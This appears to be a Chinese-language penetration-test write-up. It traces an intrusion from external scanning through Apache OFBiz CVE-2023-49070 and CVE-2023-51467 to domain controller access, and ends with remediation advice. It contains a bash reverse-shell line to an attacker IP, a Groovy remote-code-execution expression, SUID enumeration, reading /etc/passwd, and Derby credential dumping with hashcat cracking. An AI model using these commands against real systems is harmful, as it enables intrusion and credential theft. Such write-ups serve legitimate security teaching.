记一次外网打点从CVE-2023-49070到CVE-2023-51467获取域控权限的过程
字数 1355 2025-08-29 22:41:10
从CVE-2023-49070到CVE-2023-51467获取域控权限的完整渗透测试教学
1. 信息收集阶段
1.1 端口扫描
使用nmap进行初步端口探测:
nmap -sS -T4 <目标IP>
发现开放端口:22(SSH)、80(HTTP)、443(HTTPS)、41525(未知服务)
1.2 服务识别
对开放端口进行详细服务识别:
nmap -sV -p22,80,443,41525 <目标IP>
1.3 Web应用探测
访问Web页面(80/443端口),发现存在/WEB-INF接口,这表明可能是一个Java Web应用。
1.4 目录爆破
使用工具进行目录爆破:
dirb http://<目标IP> /path/to/wordlist.txt
或使用其他工具如gobuster、dirsearch等。
2. 漏洞发现与利用
2.1 CVE-2023-49070漏洞分析
漏洞描述:Apache Ofbiz 18.12.09中的预认证RCE漏洞,由于XML-RPC不再维护但仍然存在。影响版本:Apache OFBiz < 18.12.10。
漏洞原因:XML-RPC接口存在反序列化漏洞,允许未经认证的远程代码执行。
2.2 漏洞验证
使用公开的PoC进行测试:
python3 ofbiz_rce.py http://<目标IP>:<端口>
2.3 环境准备
确保攻击环境配置为JDK11,因为目标系统可能运行在此Java版本上。
2.4 命令执行
成功利用漏洞后,尝试执行基本命令:
whoami
ifconfig
2.5 反弹Shell
建立反向连接:
bash -i >& /dev/tcp/<攻击机IP>/<端口> 0>&1
或使用其他反弹shell方法如nc、socat等。
2.6 权限提升
在获取初始shell后,尝试提升权限:
sudo -l
find / -perm -4000 -type f 2>/dev/null
3. 内网信息收集
3.1 系统信息收集
uname -a
cat /etc/passwd
cat /etc/issue
3.2 发现压缩包
在系统中发现一个压缩包,解压并分析内容:
unzip found_archive.zip
3.3 日志分析
发现derby.log文件,表明系统使用Apache Derby数据库:
cat derby.log
3.4 数据库枚举
使用IJ工具枚举Derby数据库:
java -jar ij.jar
connect 'jdbc:derby://localhost:1527/dbname';
show tables;
3.5 获取用户凭证
在数据库文件中发现用户密码hash:
SELECT * FROM USER_CREDENTIALS;
3.6 Hash破解
使用工具如hashcat或john破解获取的hash:
hashcat -m <hash类型> hash.txt /path/to/wordlist.txt
4. 权限提升与域控访问
4.1 CVE-2023-51467漏洞分析
漏洞描述:影响Apache OFBiz <=18.12.10,由于XML-RPC Java反序列化漏洞和鉴权绕过问题。
关键点:
- 官方在18.12.10中移除了XMRPC组件,但鉴权问题仍然存在
- 利用Groovy表达式实现RCE
- 结合鉴权绕过可访问任意接口
4.2 漏洞利用
利用Groovy表达式执行代码:
groovy.lang.GroovyShell().evaluate('"whoami".execute().text')
4.3 获取域控权限
- 使用获取的凭证尝试访问域控制器
- 利用Kerberos或LDAP协议进行认证
- 查找域管理员账户和权限
5. 漏洞修复建议
- 升级Apache OFBiz到最新版本(>18.12.10)
- 移除或禁用XML-RPC接口
- 实施严格的输入验证和输出编码
- 使用最小权限原则运行服务
- 定期审计和监控系统日志
6. 总结
本次渗透测试从外网打点到获取域控权限的过程展示了:
- 信息收集的重要性(端口扫描、服务识别)
- 漏洞研究的价值(CVE-2023-49070和CVE-2023-51467)
- 内网横向移动的技术(数据库访问、凭证获取)
- 权限提升的方法(漏洞利用、hash破解)
关键路径:端口扫描 → Web应用探测 → CVE漏洞利用 → 反弹Shell → 内网信息收集 → 数据库凭证获取 → 权限提升 → 域控访问